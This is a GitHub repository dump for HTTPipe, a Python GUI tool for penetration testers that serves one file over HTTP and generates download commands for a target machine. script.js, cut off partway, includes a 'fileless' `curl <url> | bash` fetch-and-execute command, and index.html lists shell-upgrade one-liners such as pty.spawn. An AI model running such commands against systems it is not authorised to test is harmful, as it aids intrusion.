├── LICENSE.md
├── main.py
├── readme.md
├── requirements.txt
├── screen.png
└── web
├── index.html
├── script.js
└── style.css
/LICENSE.md:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) [2025] [Jonas Resch]
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import webview
2 | import threading
3 | import http.server
4 | import socketserver
5 | import os
6 | import socket
7 | import urllib.parse
8 | import logging
9 | import sys
10 | import base64
11 | import math
12 | import shutil
13 | from typing import Dict, List, Optional, Any
14 |
15 | # Configure logging
16 | logging.basicConfig(
17 | level=logging.INFO,
18 | format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
19 | handlers=[
20 | logging.StreamHandler(sys.stdout)
21 | ]
22 | )
23 | logger = logging.getLogger('PentoolFileTransfer')
24 |
25 | # Keep track of the original working directory
26 | original_path = os.getcwd()
27 |
28 | # --- Custom HTTP Handler ---
29 | class SingleFileHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
30 | """
31 | A request handler that only serves a specific file specified
32 | during server initialization. All other requests get a 404.
33 | """
34 | # Class variable to hold the target filename
35 | target_filename = None
36 |
37 | def __init__(self, *args, **kwargs):
38 | super().__init__(*args, **kwargs)
39 |
40 | def do_GET(self):
41 | if self.target_filename is None:
42 | self.send_error(500, "Server Misconfiguration: Target filename not set.")
43 | return
44 |
45 | # Decode the requested path
46 | requested_path = urllib.parse.unquote(self.path.lstrip('/'))
47 |
48 | # Prevent directory traversal attacks
49 | normalized_requested = os.path.normpath(requested_path)
50 | normalized_target = os.path.normpath(self.target_filename)
51 |
52 | # Check if the requested filename matches the target filename
53 | if normalized_requested == normalized_target:
54 | # Serve the file from the root URL path
55 | self.path = '/' + self.target_filename
56 | try:
57 | super().do_GET()
58 | except Exception as e:
59 | logger.error(f"Error serving file: {e}")
60 | self.send_error(500, f"Error serving file: {str(e)}")
61 | else:
62 | self.send_error(404, f"File not found. Only serving '{self.target_filename}'")
63 |
64 | # Disable directory listing
65 | def list_directory(self, path):
66 | self.send_error(404, "Directory listing disabled")
67 | return None
68 |
69 | # Override log_message to use our logging system
70 | def log_message(self, format, *args):
71 | logger.info(f"HTTP: {format % args}")
72 |
73 |
74 | class Api:
75 | def __init__(self):
76 | self.server = None
77 | self.thread = None
78 | self.serve_filename = None
79 | self.serve_directory = None
80 | self.selected_full_path = None
81 | self.port = 8000
82 | self.ip_address = None
83 | self.chunk_directory = None # For storing chunked files
84 |
85 | def select_file(self) -> Optional[str]:
86 | """Opens a file dialog and returns the selected file path."""
87 | global window
88 | if not window:
89 | logger.error("Error: Window object not available for file dialog.")
90 | return None
91 |
92 | try:
93 | result = window.create_file_dialog(webview.OPEN_DIALOG)
94 | if not result:
95 | logger.info("File selection cancelled.")
96 | self.selected_full_path = None
97 | return None
98 |
99 | # result is often a tuple, take the first element
100 | selected_path = result[0] if isinstance(result, (list, tuple)) and len(result) > 0 else result
101 | if not isinstance(selected_path, str):
102 | logger.error(f"File selection returned unexpected type: {type(selected_path)}")
103 | self.selected_full_path = None
104 | return None
105 |
106 | logger.info(f"File selected: {selected_path}")
107 | self.selected_full_path = selected_path
108 | return selected_path
109 | except Exception as e:
110 | logger.error(f"Error during file selection: {e}")
111 | self.selected_full_path = None
112 | return None
113 |
114 | def start_server(self, filename_unused, port) -> Dict[str, Any]:
115 | """
116 | Start the HTTP server to serve the selected file.
117 | Returns a dict with server status and info.
118 | """
119 | if self.server:
120 | logger.warning("Server already running.")
121 | return {'success': False, 'error': 'Server already running.'}
122 |
123 | if not self.selected_full_path:
124 | logger.error("No file selected.")
125 | return {'success': False, 'error': 'No file selected.'}
126 |
127 | try:
128 | self.port = int(port)
129 | full_path = self.selected_full_path
130 |
131 | # Verify file exists and is readable
132 | if not os.path.exists(full_path):
133 | error_msg = f"File not found: {full_path}"
134 | logger.error(error_msg)
135 | return {'success': False, 'error': error_msg}
136 |
137 | if not os.path.isfile(full_path):
138 | error_msg = f"Not a file: {full_path}"
139 | logger.error(error_msg)
140 | return {'success': False, 'error': error_msg}
141 |
142 | try:
143 | with open(full_path, 'rb') as _:
144 | pass # Test file is readable
145 | except PermissionError:
146 | error_msg = f"Permission denied to read file: {full_path}"
147 | logger.error(error_msg)
148 | return {'success': False, 'error': error_msg}
149 |
150 | # Setup server paths
151 | self.serve_directory = os.path.dirname(full_path)
152 | self.serve_filename = os.path.basename(full_path)
153 |
154 | # Setup custom handler
155 | SingleFileHTTPRequestHandler.target_filename = self.serve_filename
156 | handler = SingleFileHTTPRequestHandler
157 |
158 | # Change to the directory containing the file
159 | try:
160 | os.chdir(self.serve_directory)
161 | logger.info(f"Changed working directory to: {self.serve_directory}")
162 | except FileNotFoundError:
163 | error_msg = f"Directory not found: {self.serve_directory}"
164 | logger.error(error_msg)
165 | return {'success': False, 'error': error_msg}
166 | except PermissionError:
167 | error_msg = f"Permission denied to access directory: {self.serve_directory}"
168 | logger.error(error_msg)
169 | return {'success': False, 'error': error_msg}
170 |
171 | # Get the best IP address for serving
172 | self.ip_address = self.get_best_ip_address()
173 | if not self.ip_address:
174 | self.ip_address = "127.0.0.1" # Fallback to localhost
175 |
176 | # Start the server
177 | try:
178 | self.server = socketserver.TCPServer(("0.0.0.0", self.port), handler)
179 | self.thread = threading.Thread(target=self.server.serve_forever)
180 | self.thread.daemon = True
181 | self.thread.start()
182 | logger.info(f"Server started on {self.ip_address}:{self.port} serving '{self.serve_filename}'")
183 | return {
184 | 'success': True,
185 | 'filename': self.serve_filename,
186 | 'port': self.port,
187 | 'directory': self.serve_directory,
188 | 'ip': self.ip_address
189 | }
190 | except OSError as e:
191 | if e.errno == 98: # Address already in use
192 | error_msg = f"Port {self.port} is already in use. Please choose another port."
193 | else:
194 | error_msg = f"Error starting server: {e}"
195 | logger.error(error_msg)
196 | self._cleanup_on_error()
197 | return {'success': False, 'error': error_msg}
198 |
199 | except ValueError:
200 | error_msg = f"Invalid port number '{port}'"
201 | logger.error(error_msg)
202 | return {'success': False, 'error': error_msg}
203 | except Exception as e:
204 | error_msg = f"Unexpected error starting server: {e}"
205 | logger.error(error_msg)
206 | self._cleanup_on_error()
207 | return {'success': False, 'error': error_msg}
208 |
209 | def file_to_base64(self, filepath: str) -> Dict[str, Any]:
210 | """
211 | Convert a file to base64 encoding
212 | Returns the base64 encoded string
213 | """
214 | if not filepath or not os.path.exists(filepath):
215 | return {'success': False, 'error': 'File not found'}
216 |
217 | try:
218 | with open(filepath, 'rb') as file:
219 | encoded_data = base64.b64encode(file.read()).decode('utf-8')
220 | return {
221 | 'success': True,
222 | 'data': encoded_data,
223 | 'size': len(encoded_data),
224 | 'filename': os.path.basename(filepath)
225 | }
226 | except Exception as e:
227 | logger.error(f"Error encoding file to base64: {e}")
228 | return {'success': False, 'error': str(e)}
229 |
230 | def split_file(self, filepath: str, chunk_size_kb: int = 1024) -> Dict[str, Any]:
231 | """
232 | Split a file into smaller chunks
233 | Returns information about the chunks created
234 | """
235 | if not filepath or not os.path.exists(filepath):
236 | return {'success': False, 'error': 'File not found'}
237 |
238 | try:
239 | # Convert KB to bytes
240 | chunk_size = chunk_size_kb * 1024
241 |
242 | # Create output directory for chunks if needed
243 | filename = os.path.basename(filepath)
244 | chunk_dir = os.path.join(os.path.dirname(filepath), f"{filename}_chunks")
245 |
246 | # Clean up any existing chunks directory
247 | if os.path.exists(chunk_dir):
248 | shutil.rmtree(chunk_dir)
249 |
250 | os.makedirs(chunk_dir, exist_ok=True)
251 | self.chunk_directory = chunk_dir
252 |
253 | # Get file size and calculate number of chunks
254 | file_size = os.path.getsize(filepath)
255 | num_chunks = math.ceil(file_size / chunk_size)
256 |
257 | # Prepare info for chunks
258 | chunks = []
259 |
260 | with open(filepath, 'rb') as infile:
261 | for i in range(num_chunks):
262 | chunk_name = f"{filename}.{i+1:03d}"
263 | chunk_path = os.path.join(chunk_dir, chunk_name)
264 |
265 | with open(chunk_path, 'wb') as outfile:
266 | data = infile.read(chunk_size)
267 | outfile.write(data)
268 |
269 | chunks.append({
270 | 'name': chunk_name,
271 | 'path': chunk_path,
272 | 'size': len(data)
273 | })
274 |
275 | logger.info(f"Split {filepath} into {len(chunks)} chunks in {chunk_dir}")
276 | return {
277 | 'success': True,
278 | 'chunks': chunks,
279 | 'original_file': filename,
280 | 'total_size': file_size,
281 | 'chunk_size': chunk_size,
282 | 'chunk_dir': chunk_dir
283 | }
284 |
285 | except Exception as e:
286 | logger.error(f"Error splitting file: {e}")
287 | # Clean up any partial work
288 | if self.chunk_directory and os.path.exists(self.chunk_directory):
289 | try:
290 | shutil.rmtree(self.chunk_directory)
291 | except:
292 | pass
293 | return {'success': False, 'error': str(e)}
294 |
295 | def _cleanup_on_error(self):
296 | """Clean up resources after an error"""
297 | if os.getcwd() != original_path:
298 | try:
299 | os.chdir(original_path)
300 | logger.info(f"Restored working directory to: {original_path}")
301 | except Exception as e:
302 | logger.error(f"Error restoring original directory: {e}")
303 |
304 | self.server = None
305 | self.thread = None
306 | SingleFileHTTPRequestHandler.target_filename = None
307 |
308 | def stop_server(self) -> Dict[str, Any]:
309 | """Stop the HTTP server"""
310 | if not self.server:
311 | logger.warning("Server not running.")
312 | return {'success': False, 'error': 'Server was not running.'}
313 |
314 | try:
315 | logger.info("Stopping server...")
316 | self.server.shutdown()
317 | self.server.server_close()
318 |
319 | # Wait for thread with timeout
320 | if self.thread and self.thread.is_alive():
321 | self.thread.join(timeout=1.0)
322 | if self.thread.is_alive():
323 | logger.warning("Server thread did not exit cleanly.")
324 |
325 | # Clean up resources
326 | self.server = None
327 | self.thread = None
328 | self.serve_filename = None
329 | self.ip_address = None
330 | SingleFileHTTPRequestHandler.target_filename = None
331 |
332 | # Restore original directory
333 | current_cwd = os.getcwd()
334 | if current_cwd != original_path:
335 | try:
336 | os.chdir(original_path)
337 | logger.info(f"Restored working directory to: {original_path}")
338 | except Exception as e:
339 | logger.error(f"Error restoring directory: {e}")
340 | return {'success': True, 'warning': f'Server stopped, but failed to restore original directory: {e}'}
341 |
342 | logger.info("Server stopped successfully.")
343 | return {'success': True}
344 |
345 | except Exception as e:
346 | error_msg = f"Error stopping server: {e}"
347 | logger.error(error_msg)
348 |
349 | # Attempt to force cleanup even on error
350 | self.server = None
351 | self.thread = None
352 | self.serve_filename = None
353 | self.ip_address = None
354 | SingleFileHTTPRequestHandler.target_filename = None
355 |
356 | if os.getcwd() != original_path:
357 | try:
358 | os.chdir(original_path)
359 | logger.info(f"Restored working directory to: {original_path}")
360 | except Exception as chdir_err:
361 | logger.error(f"Additionally failed to restore original directory: {chdir_err}")
362 |
363 | return {'success': False, 'error': error_msg}
364 |
365 | def get_ip_addresses(self) -> List[str]:
366 | """Get list of available IP addresses on this system"""
367 | addresses = []
368 |
369 | # Try to get primary IP from dummy connection
370 | try:
371 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
372 | s.settimeout(0.1)
373 | s.connect(("8.8.8.8", 80))
374 | ip = s.getsockname()[0]
375 | if ip and ip != '127.0.0.1' and ip != '127.0.1.1':
376 | addresses.append(ip)
377 | s.close()
378 | except Exception as e:
379 | logger.warning(f"Could not get IP via dummy connection: {e}")
380 |
381 | # Get all interface addresses as fallback/addition
382 | try:
383 | host_name = socket.gethostname()
384 | try:
385 | all_ips = socket.getaddrinfo(host_name, None, socket.AF_INET)
386 | except socket.gaierror:
387 | all_ips = socket.getaddrinfo(host_name, None)
388 |
389 | for item in all_ips:
390 | if item[0] == socket.AF_INET:
391 | ip_addr = item[4][0]
392 | if ip_addr not in addresses and ip_addr != '127.0.0.1' and ip_addr != '127.0.1.1':
393 | addresses.append(ip_addr)
394 | except Exception as e:
395 | logger.warning(f"Could not get IP addresses via getaddrinfo: {e}")
396 |
397 | # Add localhost if no other addresses were found
398 | if not addresses:
399 | logger.warning("Could not detect external IP, falling back to 127.0.0.1")
400 | addresses.append("127.0.0.1")
401 |
402 | logger.info(f"Detected IP Addresses: {addresses}")
403 | return addresses
404 |
405 | def get_best_ip_address(self) -> Optional[str]:
406 | """Return the best IP address to use for the server"""
407 | addresses = self.get_ip_addresses()
408 | # Prefer non-localhost address
409 | for addr in addresses:
410 | if addr != "127.0.0.1" and addr != "127.0.1.1":
411 | return addr
412 | # Fallback to localhost
413 | # Return 127.0.0.1 only if it's the only one found (or no others)
414 | return "127.0.0.1" if "127.0.0.1" in addresses else (addresses[0] if addresses else None)
415 |
416 |
417 | # Global window variable needed for file dialog access from API class
418 | window = None
419 |
420 | def main():
421 | global window, original_path
422 |
423 | # Store the original path before doing anything else
424 | original_path = os.path.abspath(os.getcwd())
425 | logger.info(f"Original working directory: {original_path}")
426 |
427 | # Create API instance
428 | api = Api()
429 |
430 | # Create the webview window with improved dimensions
431 | window = webview.create_window(
432 | 'PenTool File Transfer',
433 | 'web/index.html',
434 | js_api=api,
435 | width=850,
436 | height=750,
437 | min_size=(600, 500)
438 | )
439 |
440 | # Ensure server is stopped cleanly on window close
441 | def on_closing():
442 | logger.info("Window closing, stopping server if running...")
443 | api.stop_server()
444 |
445 | window.events.closing += on_closing
446 |
447 | # Start pywebview
448 | webview.start(debug=False)
449 |
450 | # Final cleanup check
451 | final_cwd = os.path.abspath(os.getcwd())
452 | if final_cwd != original_path:
453 | logger.warning(f"Restoring original CWD '{original_path}' from '{final_cwd}' after main exit.")
454 | try:
455 | os.chdir(original_path)
456 | except Exception as e:
457 | logger.error(f"Error restoring CWD after main exit: {e}")
458 |
459 |
460 | if __name__ == '__main__':
461 | try:
462 | main()
463 | except Exception as e:
464 | logger.error(f"Unhandled exception in main: {e}")
465 | # Ensure we restore the original directory even on crash
466 | if os.getcwd() != original_path:
467 | try:
468 | os.chdir(original_path)
469 | except Exception as e:
470 | logger.error(f"Failed to restore original directory on crash: {e}")
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | # HTTPipe
2 |
3 | A simple cross-platform GUI tool built with Python and pywebview to quickly serve a single file over HTTP. Designed with penetration testing and local network file transfers in mind.
4 |
5 | 
6 |
7 | ## Description
8 |
9 | HTTPipe provides a straightforward graphical interface to select a file and instantly start an HTTP server on a chosen IP address and port, making that specific file available for download. It automatically generates common download commands (curl, wget, Python, PowerShell) for the target machine. Additionally, it includes handy utilities for penetration testers, such as base64 encoding/decoding commands and file chunking capabilities.
10 |
11 | ## Features
12 |
13 | * **Single File Server:** Serves only the selected file for security and simplicity.
14 | * **IP/Port Selection:** Automatically detects local IP addresses and allows custom IP/port input.
15 | * **Download Command Generation:** Creates ready-to-use `curl`, `wget`, `python`, and `powershell` download commands for the target machine.
16 | * **Shell Prep Commands:** Provides quick copy commands for upgrading limited shells (e.g., Python pty, script).
17 | * **File to Base64:** Encodes the selected file to Base64 and generates corresponding decode commands (`base64`, `certutil`).
18 | * **File Chunker:** Splits large files into smaller chunks and provides reassembly commands (`cat`, `copy /b`).
19 | * **Cross-Platform GUI:** Built with `pywebview` for compatibility with Windows, macOS, and Linux.
20 | * **Clean Interface:** Simple and intuitive UI with status indicators and notifications.
21 |
22 | ## Installation
23 |
24 | 1. **Prerequisites:**
25 | * Python 3.6+
26 | * `pip` (Python package installer)
27 | * **OS Dependencies:** `pywebview` relies on native web rendering engines.
28 | * **Linux:** Requires `python3-gi`, `python3-gi-cairo`, `gir1.2-gtk-3.0`, `gir1.2-webkit2-4.0`. You might also need QT5 libraries (`libqt5webkit5`, `libqt5gui5`, etc.) depending on your system setup and the chosen `pywebview` backend (`qt` is specified in `requirements.txt`). Install using your package manager (e.g., `sudo apt update && sudo apt install python3-gi python3-gi-cairo gir1.2-gtk-3.0 gir1.2-webkit2-4.0 libqt5webkit5`).
29 | * **macOS:** No specific OS dependencies usually required.
30 | * **Windows:** No specific OS dependencies usually required.
31 |
32 | 2. **Clone the Repository:**
33 | ```bash
34 | git clone https://github.com/reschjonas/HTTPipe
35 | cd HTTPipe
36 | ```
37 |
38 | 3. **Install Dependencies:**
39 | ```bash
40 | pip install -r requirements.txt
41 | ```
42 | *(Consider using a virtual environment: `python3 -m venv venv`, `source venv/bin/activate` or `venv\Scripts\activate`, then `pip install ...`)*
43 |
44 | ## Usage
45 |
46 | 1. Run the application:
47 | ```bash
48 | python3 main.py
49 | ```
50 | 2. Click "Select File" to choose the file you want to share.
51 | 3. Verify or select the desired IP address and Port.
52 | 4. Click "Start Server".
53 | 5. The "Target Machine Commands" section will populate with download commands. Copy the appropriate command for the target machine.
54 | 6. Use the "Pentest Utilities" section for Base64 encoding or file splitting if needed.
55 | 7. Click "Stop Server" when finished.
56 |
57 | ## Technologies Used
58 |
59 | * Python 3
60 | * pywebview (with QT backend)
61 | * HTML5
62 | * CSS3
63 | * JavaScript
64 |
65 | ## Contributing
66 |
67 | Contributions are welcome! Please feel free to submit pull requests or open issues.
68 |
69 |
70 | ## License
71 |
72 | This project is licensed under the MIT License - see the [LICENSE](LICENSE.md) file for details.
73 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | pywebview[qt]>=4.0
--------------------------------------------------------------------------------
/screen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ExploitWorks/HTTPipe/e98cd5884f8e85c58f1d521dba1d47233cf01daf/screen.png
--------------------------------------------------------------------------------
/web/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | PenTool File Transfer
7 |
8 |
9 |
10 |
11 |
12 |
HTTPipe File Transfer
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
38 |
39 |
40 |
41 |
42 | Status: Stopped
43 |
44 |
45 |
46 |
Target Machine Commands
47 |
48 |
49 |
50 |
51 |
52 |
Select a file and start the server.
53 |
54 |
55 |
56 |
57 |
Upgrade Limited Shell
58 |
59 | Python:
60 | python -c 'import pty; pty.spawn("/bin/bash")'
61 |
62 |
63 |
64 | Bash:
65 | SHELL=/bin/bash script -q /dev/null
66 |
67 |
68 |
69 |
70 |
71 |
72 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
--------------------------------------------------------------------------------
/web/script.js:
--------------------------------------------------------------------------------
1 | // Define debounce function to improve performance
2 | function debounce(func, wait) {
3 | let timeout;
4 | return function(...args) {
5 | clearTimeout(timeout);
6 | timeout = setTimeout(() => func.apply(this, args), wait);
7 | };
8 | }
9 |
10 | window.addEventListener('pywebviewready', function() {
11 | // DOM Element References
12 | const filePathInput = document.getElementById('file-path');
13 | const selectFileBtn = document.getElementById('select-file-btn');
14 | const ipAddressSelect = document.getElementById('ip-address-select');
15 | const ipAddressCustomInput = document.getElementById('ip-address-custom');
16 | const portInput = document.getElementById('port');
17 | const startServerBtn = document.getElementById('start-server-btn');
18 | const stopServerBtn = document.getElementById('stop-server-btn');
19 | const serverStatusSpan = document.getElementById('server-status');
20 | const downloadCommandPre = document.getElementById('download-command');
21 | const copyCommandBtn = document.getElementById('copy-command-btn');
22 | const notificationArea = document.getElementById('notification-area');
23 | const convertBase64Btn = document.getElementById('convert-base64-btn');
24 | const base64DecodeCmd = document.getElementById('base64-decode-cmd');
25 | const base64OutputContainer = document.getElementById('base64-output-container');
26 | const base64Output = document.getElementById('base64-output');
27 | const base64DecodeCommand = document.getElementById('base64-decode-command');
28 | const copyBase64Btn = document.getElementById('copy-base64-btn');
29 | const splitFileBtn = document.getElementById('split-file-btn');
30 | const splitSize = document.getElementById('split-size');
31 | const splitResults = document.getElementById('split-results');
32 | const chunkList = document.getElementById('chunk-list');
33 | const chunkReassemblyCmd = document.getElementById('chunk-reassembly-cmd');
34 | const copyReassemblyCmd = document.getElementById('copy-reassembly-cmd');
35 |
36 | // Tab navigation elements
37 | const tabButtons = document.querySelectorAll('.tab-button');
38 | const tabContents = document.querySelectorAll('.tab-content');
39 |
40 | // Single command copy buttons
41 | const copySingleButtons = document.querySelectorAll('.copy-single-btn');
42 |
43 | // State variables
44 | let selectedFilePath = null; // Store the full path
45 | let currentFilename = null; // Store just the filename for command generation
46 | let isServerRunning = false;
47 | let commandsGenerated = false;
48 | let notificationTimeout = null;
49 | let base64Data = null;
50 | let chunksCreated = [];
51 | let currentNotifications = [];
52 | let commandsLimit = 5; // Limit number of commands shown to prevent lag
53 | let activeTabId = 'download'; // Track the active tab
54 |
55 | // Enhanced notification function with queueing and improved performance
56 | function showNotification(message, type = 'success', duration = 3000) {
57 | // Limit number of notifications to 3 at a time for performance
58 | if (currentNotifications.length >= 3) {
59 | const oldNotification = currentNotifications.shift();
60 | oldNotification.remove();
61 | }
62 |
63 | // Create notification element
64 | const notification = document.createElement('div');
65 | notification.className = `notification ${type}`;
66 |
67 | // Add icon based on type
68 | let icon = 'check-circle';
69 | if (type === 'error') icon = 'exclamation-circle';
70 | else if (type === 'warning') icon = 'exclamation-triangle';
71 |
72 | notification.innerHTML = ` ${message}`;
73 |
74 | // Add to DOM
75 | notificationArea.appendChild(notification);
76 |
77 | // Add to tracking array
78 | currentNotifications.push(notification);
79 |
80 | // Add show class after brief delay (for animation)
81 | setTimeout(() => { notification.classList.add('show'); }, 10);
82 |
83 | // Remove after duration
84 | setTimeout(() => {
85 | notification.classList.remove('show');
86 | setTimeout(() => {
87 | if (notification.parentNode) {
88 | notification.remove();
89 | }
90 | // Remove from tracking array
91 | const index = currentNotifications.indexOf(notification);
92 | if (index > -1) currentNotifications.splice(index, 1);
93 | }, 300);
94 | }, duration);
95 | }
96 |
97 | // Get the currently selected/entered IP address
98 | function getCurrentIpAddress() {
99 | if (ipAddressSelect.value === 'custom') {
100 | return ipAddressCustomInput.value.trim();
101 | } else {
102 | return ipAddressSelect.value;
103 | }
104 | }
105 |
106 | // Update the displayed download command with improved formatting and performance
107 | function updateDownloadCommand() {
108 | const ip = getCurrentIpAddress();
109 | const port = portInput.value;
110 | const pythonExecutable = 'python3'; // Or 'python'
111 | const powershellExecutable = 'powershell.exe'; // Or 'pwsh'
112 |
113 | if (isServerRunning && ip && port && currentFilename) {
114 | const encodedFilename = encodeURIComponent(currentFilename);
115 | const url = `http://${ip}:${port}/${encodedFilename}`;
116 | const shellFilename = currentFilename.replace(/"/g, '\\"');
117 |
118 | // Clear previous content and set flag
119 | downloadCommandPre.innerHTML = '';
120 | commandsGenerated = true;
121 |
122 | // Create command blocks with proper syntax highlighting
123 | const commands = {
124 | curl: {
125 | command: `curl -o "${shellFilename}" ${url}`,
126 | icon: 'terminal',
127 | color: '#3b82f6'
128 | },
129 | wget: {
130 | command: `wget --output-document="${shellFilename}" ${url}`,
131 | icon: 'download',
132 | color: '#10b981'
133 | },
134 | python: {
135 | command: `${pythonExecutable} -c "import requests; open('${shellFilename}', 'wb').write(requests.get('${url}').content)"`,
136 | icon: 'code',
137 | color: '#f59e0b'
138 | },
139 | powershell: {
140 | command: `${powershellExecutable} -Command "Invoke-WebRequest -Uri ${url} -OutFile ${shellFilename}"`,
141 | icon: 'window-maximize',
142 | color: '#0369a1'
143 | },
144 | fileless: {
145 | command: `curl ${url} | bash`,
146 | icon: 'ghost',
147 | color: '#EC4899'
148 | }
149 | };
150 |
151 | // Add each command with a copy button
152 | for (const [type, data] of Object.entries(commands)) {
153 | const commandBlock = document.createElement('div');
154 | commandBlock.className = 'command-block';
155 |
156 | const title = document.createElement('span');
157 | title.className = 'command-title';
158 | title.innerHTML = ` ${type.charAt(0).toUpperCase() + type.slice(1)}:`;
159 | commandBlock.appendChild(title);
160 |
161 | const code = document.createElement('code');
162 | code.textContent = data.command;
163 | commandBlock.appendChild(code);
164 |
165 | const copyBtn = document.createElement('button');
166 | copyBtn.className = 'copy-single-btn';
167 | copyBtn.innerHTML = ' Copy';
168 | copyBtn.title = `Copy ${type} command`;
169 | copyBtn.addEventListener('click', () => copySingleCommand(data.command));
170 | commandBlock.appendChild(copyBtn);
171 |
172 | downloadCommandPre.appendChild(commandBlock);
173 | }
174 |
175 | // Hide the main copy button as we have individual ones
176 | copyCommandBtn.style.display = 'none';
177 |
178 | } else if (!selectedFilePath){
179 | downloadCommandPre.innerHTML = ' Select a file first to see download commands';
180 | copyCommandBtn.style.display = 'block';
181 | copyCommandBtn.disabled = true;
182 | commandsGenerated = false;
183 | } else {
184 | downloadCommandPre.innerHTML = ' Start the server to see download commands';
185 | copyCommandBtn.style.display = 'block';
186 | copyCommandBtn.disabled = true;
187 | commandsGenerated = false;
188 | }
189 | }
190 |
191 | // Function to copy a single command text with improved feedback
192 | function copySingleCommand(commandText) {
193 | navigator.clipboard.writeText(commandText)
194 | .then(() => {
195 | showNotification('Command copied to clipboard!', 'success', 1500);
196 | })
197 | .catch(err => {
198 | console.error('Failed to copy command: ', err);
199 | showNotification("Failed to copy command to clipboard.", 'error');
200 | });
201 | }
202 |
203 | // Update UI elements based on server state and file selection
204 | function updateUiState() {
205 | // Button states
206 | startServerBtn.disabled = isServerRunning || !selectedFilePath;
207 | stopServerBtn.disabled = !isServerRunning;
208 | selectFileBtn.disabled = isServerRunning;
209 | portInput.disabled = isServerRunning;
210 | ipAddressSelect.disabled = isServerRunning;
211 | ipAddressCustomInput.disabled = isServerRunning || ipAddressSelect.value !== 'custom';
212 | copyCommandBtn.style.display = commandsGenerated ? 'none' : 'block';
213 | copyCommandBtn.disabled = !commandsGenerated;
214 |
215 | // Pentest tools button states
216 | convertBase64Btn.disabled = !selectedFilePath;
217 | splitFileBtn.disabled = !selectedFilePath;
218 |
219 | // Update status display
220 | serverStatusSpan.classList.remove('running', 'stopped', 'error');
221 | if (isServerRunning) {
222 | serverStatusSpan.textContent = 'Status: Running';
223 | serverStatusSpan.classList.add('running');
224 | serverStatusSpan.classList.add('pulse');
225 | } else {
226 | serverStatusSpan.textContent = 'Status: Stopped';
227 | serverStatusSpan.classList.add('stopped');
228 | serverStatusSpan.classList.remove('pulse');
229 | }
230 |
231 | // Update download commands
232 | updateDownloadCommand();
233 | }
234 |
235 | // Set status to an error state
236 | function setStatusError(message = 'Error') {
237 | serverStatusSpan.classList.remove('running', 'stopped', 'pulse');
238 | serverStatusSpan.classList.add('error');
239 | serverStatusSpan.textContent = `Status: ${message}`;
240 | isServerRunning = false;
241 | updateUiState();
242 | }
243 |
244 | // Add a loading state for when actions are pending
245 | function setLoading(element, isLoading) {
246 | if (isLoading) {
247 | // Save original text
248 | element.dataset.originalText = element.innerHTML;
249 | // Replace with loading spinner
250 | element.innerHTML = ' ' + element.textContent;
251 | element.disabled = true;
252 | } else {
253 | // Restore original text
254 | if (element.dataset.originalText) {
255 | element.innerHTML = element.dataset.originalText;
256 | delete element.dataset.originalText;
257 | }
258 | // Don't enable here - let updateUiState handle that
259 | }
260 | }
261 |
262 | // Implement improved tab switching
263 | function setupTabs() {
264 | tabButtons.forEach(button => {
265 | button.addEventListener('click', () => {
266 | // Store the active tab ID
267 | activeTabId = button.getAttribute('data-tab');
268 |
269 | // Remove active class from all buttons and contents
270 | tabButtons.forEach(btn => btn.classList.remove('active'));
271 | tabContents.forEach(content => content.classList.remove('active'));
272 |
273 | // Add active class to clicked button
274 | button.classList.add('active');
275 |
276 | // Show corresponding content by adding the active class
277 | const tabContent = document.getElementById(activeTabId);
278 | if (tabContent) {
279 | tabContent.classList.add('active');
280 | }
281 |
282 | // If switching back to download tab, refresh commands
283 | if (activeTabId === 'download-commands') {
284 | updateDownloadCommand();
285 | }
286 | });
287 | });
288 | }
289 |
290 | // Setup copy buttons for shell commands
291 | function setupCopyButtons() {
292 | copySingleButtons.forEach(button => {
293 | button.addEventListener('click', function() {
294 | const commandText = this.getAttribute('data-cmd');
295 | if (commandText) {
296 | copySingleCommand(commandText);
297 | }
298 | });
299 | });
300 | }
301 |
302 | // Implement base64 conversion with optimized display handling
303 | function setupBase64Conversion() {
304 | convertBase64Btn.addEventListener('click', function() {
305 | if (!selectedFilePath) {
306 | showNotification("Please select a file first", 'warning');
307 | return;
308 | }
309 |
310 | setLoading(this, true);
311 | base64OutputContainer.classList.add('hidden');
312 |
313 | window.pywebview.api.file_to_base64(selectedFilePath).then(function(response) {
314 | setLoading(convertBase64Btn, false);
315 |
316 | if (response && response.success) {
317 | base64Data = response.data;
318 | const filename = response.filename;
319 |
320 | // Update output container - only show preview of base64 data
321 | if (base64Data.length > 1000) {
322 | // Only show partial data to improve performance
323 | base64Output.textContent = base64Data.substring(0, 500) +
324 | '\n[... data truncated for display purposes ...]\n' +
325 | base64Data.substring(base64Data.length - 500);
326 | } else {
327 | base64Output.textContent = base64Data;
328 | }
329 |
330 | // Update decode command based on selected decoder, including actual data
331 | updateBase64DecodeCommand(filename, base64Data);
332 |
333 | // Show output container
334 | base64OutputContainer.classList.remove('hidden');
335 |
336 | showNotification(`File encoded to base64 (${formatBytes(response.size)})`, 'success');
